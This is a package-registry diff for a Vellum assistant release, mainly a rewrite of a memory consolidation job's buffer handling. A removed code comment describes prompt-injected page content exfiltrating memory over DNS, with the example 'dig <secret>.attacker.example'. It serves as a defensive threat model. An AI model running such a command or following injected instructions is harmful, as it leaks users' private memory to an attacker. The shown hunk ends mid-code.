@vellumai/assistant 0.12.2 → 0.12.3-staging.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.env.example +2 -0
- package/AGENTS.md +1 -1
- package/docs/architecture/integrations.md +7 -0
- package/docs/architecture/memory.md +17 -2
- package/docs/credential-execution-service.md +1 -1
- package/docs/desktop-browser-cli.md +7 -3
- package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/node_modules/@vellumai/environments/src/shell.test.ts +21 -0
- package/node_modules/@vellumai/environments/src/shell.ts +24 -0
- package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +8 -2
- package/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/openapi.yaml +54 -5
- package/package.json +1 -1
- package/scripts/smoke-desktop-browser-cli.ts +1 -0
- package/scripts/sync-llm-catalog.ts +3 -0
- package/scripts/voice-ttft-spike.ts +2 -2
- package/src/__tests__/agent-loop.test.ts +259 -0
- package/src/__tests__/agent-wake-delegation-prompt.test.ts +64 -2
- package/src/__tests__/anthropic-provider.test.ts +55 -0
- package/src/__tests__/approval-interception-trust-gates.test.ts +40 -0
- package/src/__tests__/attachments-store.test.ts +22 -3
- package/src/__tests__/channel-approval.test.ts +9 -14
- package/src/__tests__/channel-reply-delivery.test.ts +56 -0
- package/src/__tests__/chat-credential-redaction.test.ts +23 -0
- package/src/__tests__/computer-use-screenshot-attachments.test.ts +411 -0
- package/src/__tests__/computer-use-screenshot-selection.test.ts +50 -0
- package/src/__tests__/conversation-agent-loop-inference-profile.test.ts +2 -0
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +2 -0
- package/src/__tests__/conversation-agent-loop.test.ts +257 -6
- package/src/__tests__/conversation-attachments.test.ts +106 -0
- package/src/__tests__/conversation-fork-crud.test.ts +191 -0
- package/src/__tests__/conversation-rendered-delegation-state.test.ts +276 -0
- package/src/__tests__/credential-execution-client.test.ts +70 -53
- package/src/__tests__/db-conversation-tool-surface.test.ts +221 -0
- package/src/__tests__/events-tail-route.test.ts +33 -0
- package/src/__tests__/history-repair.test.ts +53 -0
- package/src/__tests__/inference-profile-session-handler.test.ts +26 -0
- package/src/__tests__/list-messages-tool-merge.test.ts +85 -1
- package/src/__tests__/llm-catalog-parity.test.ts +27 -4
- package/src/__tests__/oauth-apps-routes.test.ts +1 -0
- package/src/__tests__/oauth-commands-routes.test.ts +114 -101
- package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
- package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
- package/src/__tests__/oauth-providers-routes.test.ts +2 -0
- package/src/__tests__/persist-media-references.test.ts +50 -0
- package/src/__tests__/plugin-import-boundary-guard.test.ts +0 -1
- package/src/__tests__/run-conversation-turn-persistence.test.ts +138 -1
- package/src/__tests__/schedule-routes.test.ts +20 -0
- package/src/__tests__/scheduler-result-notification.test.ts +23 -4
- package/src/__tests__/script-proxy-certs.test.ts +1 -1
- package/src/__tests__/secret-routes-platform-proxy.test.ts +86 -31
- package/src/__tests__/secret-routes-scrub.test.ts +22 -27
- package/src/__tests__/secret-scanner.test.ts +20 -0
- package/src/__tests__/secure-keys-managed-failover.test.ts +8 -0
- package/src/__tests__/secure-keys.test.ts +7 -3
- package/src/__tests__/server-tool-pairing.test.ts +107 -0
- package/src/__tests__/skills.test.ts +5 -4
- package/src/__tests__/subagent-tool-gate-mode.test.ts +226 -0
- package/src/__tests__/terminal-tools.test.ts +8 -0
- package/src/__tests__/tool-result-follow-up.test.ts +99 -0
- package/src/__tests__/tool-result-metadata-plumbing.test.ts +63 -0
- package/src/__tests__/unicode.test.ts +36 -0
- package/src/agent/loop.ts +37 -12
- package/src/agent/tool-result-follow-up.ts +70 -0
- package/src/api/attachment-provenance.test.ts +68 -0
- package/src/api/computer-use-tool.test.ts +55 -0
- package/src/api/computer-use-tool.ts +27 -0
- package/src/api/events/assistant-outbound-attachment.ts +3 -0
- package/src/api/events/desktop-activity-changed.ts +10 -0
- package/src/api/events/question-request.ts +1 -0
- package/src/api/index.ts +11 -0
- package/src/api/responses/conversation-message.ts +3 -0
- package/src/approvals/approval-primitive.ts +5 -2
- package/src/approvals/scoped-approval-grants.ts +6 -2
- package/src/browser/virtual-desktop-target.ts +1 -2
- package/src/cli/commands/__tests__/cli-test-harness.ts +21 -3
- package/src/cli/commands/__tests__/plugins.test.ts +20 -1
- package/src/cli/commands/__tests__/schedules.test.ts +14 -0
- package/src/cli/commands/bash.help.ts +4 -3
- package/src/cli/commands/browser.help.ts +5 -1
- package/src/cli/commands/credentials.help.ts +3 -3
- package/src/cli/commands/oauth/index.help.ts +10 -0
- package/src/cli/commands/oauth/providers.ts +12 -0
- package/src/cli/commands/oauth/request.test.ts +179 -2
- package/src/cli/commands/oauth/request.ts +41 -10
- package/src/cli/commands/plugins.ts +12 -5
- package/src/cli/commands/schedules.ts +2 -0
- package/src/cli/lib/__tests__/inspect-plugin.test.ts +54 -0
- package/src/cli/lib/__tests__/install-from-github.test.ts +41 -0
- package/src/cli/lib/__tests__/local-plugin-upgrade.test.ts +133 -51
- package/src/cli/lib/__tests__/plugin-catalog-cache.test.ts +8 -2
- package/src/cli/lib/bundled-marketplace.json +855 -0
- package/src/cli/lib/bundled-plugin-packages.json +783 -1
- package/src/cli/lib/inspect-plugin.ts +11 -4
- package/src/cli/lib/upgrade-plugin.ts +19 -11
- package/src/cli/output.ts +18 -4
- package/src/config/__tests__/default-provider.test.ts +4 -0
- package/src/config/bundled-skills/schedule/SKILL.md +6 -6
- package/src/config/loader.ts +9 -17
- package/src/config/platform-identity.ts +8 -8
- package/src/config/profile-text-generation.test.ts +51 -0
- package/src/config/profile-text-generation.ts +51 -0
- package/src/config/schemas/__tests__/memory-v3.test.ts +12 -0
- package/src/config/schemas/llm.ts +7 -2
- package/src/config/schemas/mcp.ts +5 -1
- package/src/config/schemas/memory-v3.ts +12 -0
- package/src/credential-execution/ces-runtime.ts +2 -2
- package/src/credential-execution/executable-discovery.ts +36 -134
- package/src/credential-execution/process-manager.test.ts +20 -24
- package/src/credential-execution/process-manager.ts +24 -19
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +43 -0
- package/src/daemon/__tests__/turn-tail-deleted-conversation.test.ts +36 -0
- package/src/daemon/assistant-attachments.ts +20 -12
- package/src/daemon/chat-credential-redaction.ts +16 -1
- package/src/daemon/conversation-agent-loop-handlers.ts +74 -3
- package/src/daemon/conversation-agent-loop.ts +12 -0
- package/src/daemon/conversation-attachments.ts +93 -12
- package/src/daemon/conversation-tool-setup.ts +71 -3
- package/src/daemon/conversation-turn-finalize.ts +26 -13
- package/src/daemon/conversation.ts +72 -17
- package/src/daemon/daemon-control.ts +3 -7
- package/src/daemon/lifecycle.ts +4 -4
- package/src/daemon/mcp-reload-service.ts +1 -1
- package/src/daemon/message-types/shared.ts +1 -0
- package/src/daemon/orphan-reaper.ts +4 -3
- package/src/daemon/persist-media-references.ts +20 -3
- package/src/daemon/tool-setup-types.ts +6 -0
- package/src/daemon/wake-conversation-ops.ts +50 -15
- package/src/desktop/desktop-automation-lease.test.ts +230 -0
- package/src/desktop/desktop-automation-lease.ts +90 -6
- package/src/desktop/desktop-help.ts +15 -0
- package/src/desktop/desktop-stream-bridge.test.ts +65 -10
- package/src/desktop/desktop-stream-bridge.ts +3 -3
- package/src/desktop/desktop-wallpaper-renderer.ts +132 -0
- package/src/desktop/desktop-wallpaper-worker.ts +17 -0
- package/src/desktop/desktop-wallpaper.test.ts +48 -7
- package/src/desktop/desktop-wallpaper.ts +34 -102
- package/src/desktop/virtual-desktop-feature.ts +1 -1
- package/src/mcp/__tests__/manager-tool-caps.test.ts +111 -0
- package/src/mcp/__tests__/startup.test.ts +30 -7
- package/src/mcp/__tests__/tool-caps.test.ts +107 -0
- package/src/mcp/manager.ts +168 -101
- package/src/mcp/startup.ts +33 -13
- package/src/mcp/tool-caps.ts +176 -0
- package/src/messaging/provider-message-metadata.ts +3 -3
- package/src/notifications/__tests__/copy-composer.test.ts +70 -0
- package/src/notifications/copy-composer.ts +11 -3
- package/src/notifications/schedule-result-producer.ts +4 -6
- package/src/oauth/AGENTS.md +2 -0
- package/src/oauth/__tests__/identity-verifier.test.ts +36 -1
- package/src/oauth/identity-verifier.ts +24 -0
- package/src/oauth/oauth-store.ts +11 -1
- package/src/oauth/provider-serializer.ts +1 -0
- package/src/oauth/seed-providers.ts +12 -0
- package/src/permissions/confirmation-guardian-request.test.ts +16 -0
- package/src/permissions/confirmation-guardian-request.ts +2 -3
- package/src/permissions/question-prompter.test.ts +31 -0
- package/src/permissions/question-prompter.ts +2 -0
- package/src/persistence/attachments-store.ts +84 -44
- package/src/persistence/conversation-crud.ts +111 -20
- package/src/persistence/conversation-plugin-facade.ts +30 -0
- package/src/persistence/conversation-tool-surface.ts +135 -0
- package/src/persistence/conversation-types.test.ts +32 -0
- package/src/persistence/conversation-types.ts +26 -4
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +78 -0
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +29 -0
- package/src/persistence/migrations/379-oauth-providers-response-ok-field.test.ts +92 -0
- package/src/persistence/migrations/379-oauth-providers-response-ok-field.ts +32 -0
- package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.test.ts +90 -0
- package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.ts +34 -0
- package/src/persistence/schema/conversation-tool-surfaces.ts +32 -0
- package/src/persistence/schema/index.ts +1 -0
- package/src/persistence/schema/oauth.ts +1 -0
- package/src/persistence/steps.ts +24 -3
- package/src/plugin-api/conversation-turn.ts +31 -7
- package/src/plugin-api/index.ts +11 -1
- package/src/plugin-api/plugin-channel-turn-trust.test.ts +133 -0
- package/src/plugin-api/plugin-channel-turn-trust.ts +71 -0
- package/src/plugins/defaults/memory/AGENTS.md +39 -5
- package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +365 -0
- package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +43 -0
- package/src/plugins/defaults/memory/__tests__/conversation-memory-purge.test.ts +1 -0
- package/src/plugins/defaults/memory/__tests__/db-memory-attach.test.ts +2 -0
- package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +17 -0
- package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +74 -0
- package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +161 -0
- package/src/plugins/defaults/memory/__tests__/relocated-memory-test-rows.ts +10 -0
- package/src/plugins/defaults/memory/buffer-file.ts +354 -0
- package/src/plugins/defaults/memory/buffer-format.ts +40 -0
- package/src/plugins/defaults/memory/context-search/agent-runner.ts +1 -2
- package/src/plugins/defaults/memory/context-search/format.ts +2 -1
- package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +2 -1
- package/src/plugins/defaults/memory/context-search/sources/workspace.ts +2 -1
- package/src/plugins/defaults/memory/conversation-memory-purge.ts +4 -0
- package/src/plugins/defaults/memory/graph/capability-seed.ts +1 -2
- package/src/plugins/defaults/memory/graph/tool-handlers.ts +1 -42
- package/src/plugins/defaults/memory/host-utils.ts +0 -10
- package/src/plugins/defaults/memory/injectors.ts +4 -3
- package/src/plugins/defaults/memory/memory-retrospective-job.ts +72 -183
- package/src/plugins/defaults/memory/memory-run-evidence.ts +213 -0
- package/src/plugins/defaults/memory/src/memory-item-routes.test.ts +1 -1
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +407 -99
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +10 -0
- package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +107 -7
- package/src/plugins/defaults/memory/substrate/consolidation-job.ts +307 -86
- package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +34 -0
- package/src/plugins/defaults/memory/substrate/page-index.ts +2 -1
- package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +89 -49
- package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
- package/src/plugins/defaults/memory/tools.ts +1 -1
- package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
- package/src/plugins/defaults/memory/v1/graph/extraction.ts +2 -1
- package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
- package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +5 -0
- package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +5 -2
- package/src/plugins/defaults/memory/v2/reranker.ts +2 -1
- package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +81 -1
- package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +87 -0
- package/src/plugins/defaults/memory/v3/__tests__/plugin-schema.test.ts +12 -0
- package/src/plugins/defaults/memory/v3/__tests__/pool-log-store.test.ts +183 -4
- package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +103 -2
- package/src/plugins/defaults/memory/v3/card.ts +2 -1
- package/src/plugins/defaults/memory/v3/injector.ts +212 -178
- package/src/plugins/defaults/memory/v3/orchestrate.ts +112 -25
- package/src/plugins/defaults/memory/v3/plugin-schema.ts +54 -4
- package/src/plugins/defaults/memory/v3/pool-log-store.ts +253 -1
- package/src/plugins/defaults/memory/v3/pool-select.test.ts +35 -2
- package/src/plugins/defaults/memory/v3/pool-select.ts +31 -19
- package/src/plugins/defaults/memory/v3/sections.ts +2 -1
- package/src/plugins/defaults/memory/v3/shadow-plugin.ts +41 -14
- package/src/plugins/defaults/tool-error/hooks/post-tool-use.ts +4 -1
- package/src/plugins/defaults/tool-result-truncate/terminal.ts +1 -46
- package/src/prompts/__tests__/parallel-tasks-section.test.ts +25 -0
- package/src/prompts/delegation-gate.ts +57 -0
- package/src/prompts/system-prompt.ts +14 -32
- package/src/providers/inference/adapter-factory.ts +6 -0
- package/src/providers/jev/client.test.ts +260 -0
- package/src/providers/jev/client.ts +518 -0
- package/src/providers/model-catalog.ts +58 -3
- package/src/providers/server-tool-pairing.ts +16 -7
- package/src/runtime/AGENTS.md +2 -2
- package/src/runtime/__tests__/agent-wake.test.ts +94 -1
- package/src/runtime/agent-wake.ts +31 -4
- package/src/runtime/guardian-action-service.ts +2 -17
- package/src/runtime/guardian-reply-router.ts +1 -8
- package/src/runtime/http-server.ts +2 -2
- package/src/runtime/migrations/__tests__/vbundle-import-policy.test.ts +89 -0
- package/src/runtime/migrations/vbundle-import-policy.ts +33 -11
- package/src/runtime/routes/__tests__/inference-profiles-routes.test.ts +24 -2
- package/src/runtime/routes/channel-route-shared.ts +1 -9
- package/src/runtime/routes/conversation-routes.ts +29 -4
- package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
- package/src/runtime/routes/desktop-setup-routes.ts +8 -5
- package/src/runtime/routes/guardian-approval-interception.ts +24 -0
- package/src/runtime/routes/inbound-message-handler.ts +2 -3
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +7 -4
- package/src/runtime/routes/inference-profile-session-handler.ts +11 -1
- package/src/runtime/routes/inference-profiles-routes.ts +9 -0
- package/src/runtime/routes/oauth-commands-routes.ts +57 -54
- package/src/runtime/routes/oauth-providers.ts +4 -0
- package/src/runtime/routes/oauth-request-hints.test.ts +246 -0
- package/src/runtime/routes/oauth-request-hints.ts +149 -0
- package/src/runtime/routes/schedule-routes.ts +2 -0
- package/src/runtime/routes/secret-routes.ts +99 -119
- package/src/schedule/__tests__/worker-mcp-bootstrap.test.ts +107 -0
- package/src/schedule/__tests__/worker-mcp-readiness.test.ts +173 -0
- package/src/schedule/__tests__/worker-mcp-tools.test.ts +13 -47
- package/src/schedule/run-script.ts +2 -2
- package/src/schedule/scheduler.ts +47 -11
- package/src/schedule/tool-surface-readiness.ts +65 -0
- package/src/schedule/worker-mcp.ts +85 -0
- package/src/schedule/worker.ts +9 -31
- package/src/security/secure-keys.ts +60 -48
- package/src/tools/ask-question/ask-question-tool.test.ts +167 -5
- package/src/tools/ask-question/ask-question-tool.ts +119 -23
- package/src/tools/browser/browser-execution.ts +7 -1
- package/src/tools/host-terminal/host-shell.ts +12 -6
- package/src/tools/shared/filesystem/file-ops-service.ts +1 -31
- package/src/tools/shared/shell-output.test.ts +10 -0
- package/src/tools/shared/shell-output.ts +14 -2
- package/src/tools/skills/sandbox-runner.ts +13 -2
- package/src/tools/skills/scaffold-managed.ts +2 -1
- package/src/tools/terminal/__tests__/safe-env.test.ts +33 -4
- package/src/tools/terminal/__tests__/sanitized-bash.test.ts +0 -14
- package/src/tools/terminal/safe-env.ts +35 -24
- package/src/tools/terminal/sanitized-bash.ts +15 -2
- package/src/tools/terminal/shell-launch.test.ts +162 -0
- package/src/tools/terminal/shell.test.ts +29 -0
- package/src/tools/terminal/shell.ts +13 -7
- package/src/util/browser-human-verification.ts +14 -0
- package/src/util/host-process.test.ts +17 -1
- package/src/util/host-process.ts +24 -0
- package/src/util/unicode.ts +29 -0
|
@@ -6,8 +6,11 @@
|
|
|
6
6
|
*
|
|
7
7
|
* The consolidation job is the centerpiece of v2: an hourly background pass
|
|
8
8
|
* that routes accumulated `memory/buffer.md` entries into concept pages,
|
|
9
|
-
* rewrites `memory/recent.md`, promotes new essentials/threads
|
|
10
|
-
* buffer
|
|
9
|
+
* rewrites `memory/recent.md`, and promotes new essentials/threads. The
|
|
10
|
+
* buffer itself is never written by the agent: the job hands the run exactly
|
|
11
|
+
* the entries it will remove, and removes them itself afterwards, so an
|
|
12
|
+
* entry appended while the run is in flight is still in the buffer when it
|
|
13
|
+
* ends.
|
|
11
14
|
*
|
|
12
15
|
* Consolidation runs as the assistant: `runBackgroundJob()` bootstraps a
|
|
13
16
|
* background conversation and routes the cutoff-templated prompt through
|
|
@@ -16,9 +19,9 @@
|
|
|
16
19
|
* assistant's voice are the point — there is no "consolidator persona" to
|
|
17
20
|
* substitute in.
|
|
18
21
|
*
|
|
19
|
-
* The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}
|
|
20
|
-
*
|
|
21
|
-
*
|
|
22
|
+
* The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}: local
|
|
23
|
+
* file tools, a shell for corpus-wide inspection, recall, and the page-delete
|
|
24
|
+
* primitive. See that constant for the surface and what it excludes.
|
|
22
25
|
*
|
|
23
26
|
* Lifecycle:
|
|
24
27
|
* 1. Bail if memory is disabled or concept-page memory is not active
|
|
@@ -28,11 +31,18 @@
|
|
|
28
31
|
* so two overlapping schedule windows can't fight over the same files.
|
|
29
32
|
* The lock contains the holder's PID + timestamp so a crashed run leaves
|
|
30
33
|
* a diagnosable trace.
|
|
31
|
-
* 3.
|
|
32
|
-
*
|
|
33
|
-
*
|
|
34
|
-
* 4.
|
|
35
|
-
*
|
|
34
|
+
* 3. Read `memory/buffer.md` once: the snapshot. Bail if empty (no work to
|
|
35
|
+
* do, but the lock and skip path still log so operators can confirm the
|
|
36
|
+
* schedule fired).
|
|
37
|
+
* 4. Select this pass's entries from the snapshot. The cutoff timestamp is
|
|
38
|
+
* captured at dispatch (and pulled back to the first over-cap entry's
|
|
39
|
+
* stamp when the buffer exceeds the per-run cap); the pass is the
|
|
40
|
+
* snapshot's leading entries up to the first one stamped with the
|
|
41
|
+
* cutoff minute. Those entries are rendered verbatim into the prompt,
|
|
42
|
+
* so what the agent files and what the job later removes are the same
|
|
43
|
+
* set by construction. An entry appended after the snapshot is never in
|
|
44
|
+
* it, and a snapshot that caught an append mid-write leaves its last
|
|
45
|
+
* entry for the next pass. Nothing eligible → bail.
|
|
36
46
|
* 5. Hand off to `runBackgroundJob()` with the templated prompt. The runner
|
|
37
47
|
* handles bootstrap + processMessage + timeout + error classification,
|
|
38
48
|
* and (because we set `suppressFailureNotifications: true`) does NOT
|
|
@@ -42,10 +52,21 @@
|
|
|
42
52
|
* unchanged. The prompt body is loaded via `resolveConsolidationPrompt`
|
|
43
53
|
* which bounds any operator-provided override to a regular file under
|
|
44
54
|
* 1 MiB before substitution.
|
|
45
|
-
* 6.
|
|
46
|
-
* background run completed
|
|
47
|
-
*
|
|
48
|
-
*
|
|
55
|
+
* 6. Consume the pass's entries, and only then. `runResult.ok` only means
|
|
56
|
+
* the background run completed; before the job removes anything the
|
|
57
|
+
* run's persisted messages must hold at least one page-writing tool
|
|
58
|
+
* call whose result is not an error AND end with the agent's own
|
|
59
|
+
* closing reply (the pass summary the prompt mandates), the same two
|
|
60
|
+
* evidence shapes the retrospective's cursor advance uses. A run that
|
|
61
|
+
* wrote a page and then stopped mid-work has not filed its pass. With
|
|
62
|
+
* that evidence the job
|
|
63
|
+
* removes exactly the pass's entries from the live buffer through
|
|
64
|
+
* `consumeBufferEntries`, which leaves deferred entries and anything
|
|
65
|
+
* appended during the run in place. A run with no verified write, or
|
|
66
|
+
* a consume that fails, is reported as `invoked` with
|
|
67
|
+
* `noProgress: true`, enqueues no follow-ups, and leaves the buffer
|
|
68
|
+
* intact for the next pass. A failed run (provider error, exception,
|
|
69
|
+
* timeout) likewise consumes nothing. The
|
|
49
70
|
* post-run page index is also read for `danglingLinks` (structural
|
|
50
71
|
* references with no target page): reported on the outcome and in the
|
|
51
72
|
* log, and fed into the NEXT pass's prompt as a repair step like
|
|
@@ -77,6 +98,8 @@
|
|
|
77
98
|
import { readFileSync } from "node:fs";
|
|
78
99
|
import { join } from "node:path";
|
|
79
100
|
|
|
101
|
+
import { getMessages } from "@vellumai/plugin-api";
|
|
102
|
+
|
|
80
103
|
import {
|
|
81
104
|
isMemoryV3Live,
|
|
82
105
|
usesConceptPageMemory,
|
|
@@ -96,10 +119,21 @@ import {
|
|
|
96
119
|
} from "../../../../persistence/jobs-store.js";
|
|
97
120
|
import { runBackgroundJob } from "../../../../runtime/background-job-runner.js";
|
|
98
121
|
import {
|
|
122
|
+
consumeBufferEntries,
|
|
123
|
+
type ConsumeBufferEntriesResult,
|
|
124
|
+
} from "../buffer-file.js";
|
|
125
|
+
import {
|
|
126
|
+
type BufferEntryLines,
|
|
99
127
|
formatBufferTimestamp,
|
|
100
|
-
|
|
128
|
+
joinBufferEntries,
|
|
129
|
+
splitBufferContent,
|
|
101
130
|
} from "../buffer-format.js";
|
|
102
131
|
import { getLogger } from "../logging.js";
|
|
132
|
+
import {
|
|
133
|
+
collectSuccessfulToolResultIds,
|
|
134
|
+
countDurableToolUses,
|
|
135
|
+
endsWithTextReply,
|
|
136
|
+
} from "../memory-run-evidence.js";
|
|
103
137
|
import { getWorkspaceDir } from "../paths.js";
|
|
104
138
|
import {
|
|
105
139
|
CONSOLIDATION_TIMEOUT_MS,
|
|
@@ -107,6 +141,7 @@ import {
|
|
|
107
141
|
releaseLock,
|
|
108
142
|
tryAcquireLock,
|
|
109
143
|
} from "./consolidation-lock.js";
|
|
144
|
+
import { CONSOLIDATION_ALLOWED_TOOLS } from "./consolidation-tool-surface.js";
|
|
110
145
|
import { getPageIndex, type PageParseFailure } from "./page-index.js";
|
|
111
146
|
import type { DanglingLink } from "./page-links.js";
|
|
112
147
|
import {
|
|
@@ -121,45 +156,25 @@ const log = getLogger("memory-v2-consolidate");
|
|
|
121
156
|
const JOB_NAME = "memory.consolidate";
|
|
122
157
|
|
|
123
158
|
/**
|
|
124
|
-
|
|
125
|
-
*
|
|
126
|
-
*
|
|
127
|
-
*
|
|
128
|
-
* tools
|
|
129
|
-
*
|
|
130
|
-
*
|
|
131
|
-
* the
|
|
132
|
-
*
|
|
133
|
-
*
|
|
134
|
-
* buffer/page content — which can originate from untrusted material the
|
|
135
|
-
* assistant ingested (fetched web pages, emails, documents, channel messages) —
|
|
136
|
-
* exfiltrate memory over an auto-approved egress channel. Wire-gating to this
|
|
137
|
-
* allowlist removes that channel entirely: the excluded tools (`web_fetch`,
|
|
138
|
-
* `web_search`, `network_request`, `host_*`, …) are never even presented to
|
|
139
|
-
* the model, so the fix does not rely on the permission threshold. Mirrors the
|
|
140
|
-
* hardening the sibling memory-retrospective job already applies.
|
|
141
|
-
*
|
|
142
|
-
* `bash` is deliberately EXCLUDED. A shell reopens the egress channel this
|
|
143
|
-
* allowlist exists to close: `dig` / `nslookup` / `ping` classify Low in the
|
|
144
|
-
* command registry and so auto-approve in this background context, letting
|
|
145
|
-
* prompt-injected page content exfiltrate memory over DNS (`dig
|
|
146
|
-
* <secret>.attacker.example`) even with `web_fetch` hidden. The one
|
|
147
|
-
* page-maintenance operation a shell would otherwise handle — retiring a
|
|
148
|
-
* merged/renamed/dead page — is served by `delete_memory_page`, a slug-scoped
|
|
149
|
-
* memory-page delete that reaches only `memory/concepts/**` and carries no
|
|
150
|
-
* network or arbitrary-path reach. It is an allowlist-only tool (hidden from
|
|
151
|
-
* every other tool surface; see `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here
|
|
152
|
-
* is what surfaces it.
|
|
159
|
+
/**
|
|
160
|
+
* Tool names whose persisted `tool_use` blocks count as durable page work
|
|
161
|
+
* for the consume gate: the pass writes or edits concept pages and the
|
|
162
|
+
* aggregate views through the file tools and retires pages through
|
|
163
|
+
* `delete_memory_page`. The read-only tools on the allowlist do not
|
|
164
|
+
* qualify, and neither does `bash`: the shell is on the surface for
|
|
165
|
+
* corpus-wide inspection, and a shell call carries no evidence of what it
|
|
166
|
+
* did. The prompt tells the agent to write pages with the file tools for
|
|
167
|
+
* exactly this reason; a run that wrote only through the shell drains
|
|
168
|
+
* nothing and reports no progress, which is loud rather than lossy.
|
|
153
169
|
*/
|
|
154
|
-
const
|
|
155
|
-
"file_read",
|
|
170
|
+
const CONSOLIDATION_DURABLE_TOOLS: ReadonlySet<string> = new Set([
|
|
156
171
|
"file_write",
|
|
157
172
|
"file_edit",
|
|
158
|
-
"file_list",
|
|
159
|
-
"code_search",
|
|
160
173
|
"delete_memory_page",
|
|
161
|
-
|
|
162
|
-
|
|
174
|
+
]);
|
|
175
|
+
|
|
176
|
+
/** The shell on the consolidation surface, counted for diagnosis only. */
|
|
177
|
+
const SHELL_TOOLS: ReadonlySet<string> = new Set(["bash"]);
|
|
163
178
|
|
|
164
179
|
/**
|
|
165
180
|
* Durable checkpoint tracking consecutive consolidation run failures.
|
|
@@ -286,6 +301,17 @@ export type ConsolidationOutcome =
|
|
|
286
301
|
| { kind: "disabled" }
|
|
287
302
|
| { kind: "locked"; holder: string }
|
|
288
303
|
| { kind: "empty_buffer" }
|
|
304
|
+
| {
|
|
305
|
+
/**
|
|
306
|
+
* The buffer holds entries but none is eligible this pass: every entry
|
|
307
|
+
* is stamped with the cutoff minute (or later), so the run would have
|
|
308
|
+
* nothing to file. No agent run, no failure bookkeeping; the next
|
|
309
|
+
* scheduler tick re-checks.
|
|
310
|
+
*/
|
|
311
|
+
kind: "nothing_eligible";
|
|
312
|
+
cutoff: string;
|
|
313
|
+
deferredEntries: number;
|
|
314
|
+
}
|
|
289
315
|
| { kind: "run_failed"; reason?: string }
|
|
290
316
|
| {
|
|
291
317
|
kind: "invoked";
|
|
@@ -299,9 +325,16 @@ export type ConsolidationOutcome =
|
|
|
299
325
|
deferredEntries: number;
|
|
300
326
|
followUpJobIds: string[];
|
|
301
327
|
/**
|
|
302
|
-
*
|
|
303
|
-
*
|
|
304
|
-
*
|
|
328
|
+
* Entries this pass removed from the buffer: the entries it handed the
|
|
329
|
+
* run, once the run left verified page-writing evidence. `0` when
|
|
330
|
+
* `noProgress` is set.
|
|
331
|
+
*/
|
|
332
|
+
consumedEntries: number;
|
|
333
|
+
/**
|
|
334
|
+
* `true` when the run completed but nothing was consumed: it left no
|
|
335
|
+
* verified page write, or the consume itself failed. The buffer is
|
|
336
|
+
* untouched, nothing changed worth re-embedding, and no follow-ups
|
|
337
|
+
* were enqueued.
|
|
305
338
|
*/
|
|
306
339
|
noProgress: boolean;
|
|
307
340
|
/**
|
|
@@ -370,10 +403,9 @@ export async function memoryV2ConsolidateJob(
|
|
|
370
403
|
return { kind: "empty_buffer" };
|
|
371
404
|
}
|
|
372
405
|
|
|
373
|
-
//
|
|
374
|
-
//
|
|
375
|
-
|
|
376
|
-
const bufferLinesBefore = countNonEmptyLines(bufferContent);
|
|
406
|
+
// The snapshot. Everything this pass files and later removes comes from
|
|
407
|
+
// it; an entry appended after this read is by construction not in it.
|
|
408
|
+
const snapshot = splitBufferContent(bufferContent);
|
|
377
409
|
|
|
378
410
|
// Step 3: capture cutoff. Formatted to match `buffer.md` entry timestamps
|
|
379
411
|
// (`Mon D, h:mm AM/PM`, see `formatBufferTimestamp`) so the agent's
|
|
@@ -400,9 +432,8 @@ export async function memoryV2ConsolidateJob(
|
|
|
400
432
|
const tuning = resolveSubstrateTuning(config.memory);
|
|
401
433
|
const maxEntries = tuning.consolidation_max_entries_per_run;
|
|
402
434
|
if (maxEntries != null) {
|
|
403
|
-
const entryTimestamps =
|
|
404
|
-
.
|
|
405
|
-
.map(extractBufferEntryTimestamp)
|
|
435
|
+
const entryTimestamps = snapshot
|
|
436
|
+
.map((entry) => entry.start?.timestamp ?? null)
|
|
406
437
|
.filter((timestamp): timestamp is string => timestamp !== null);
|
|
407
438
|
if (entryTimestamps.length > maxEntries) {
|
|
408
439
|
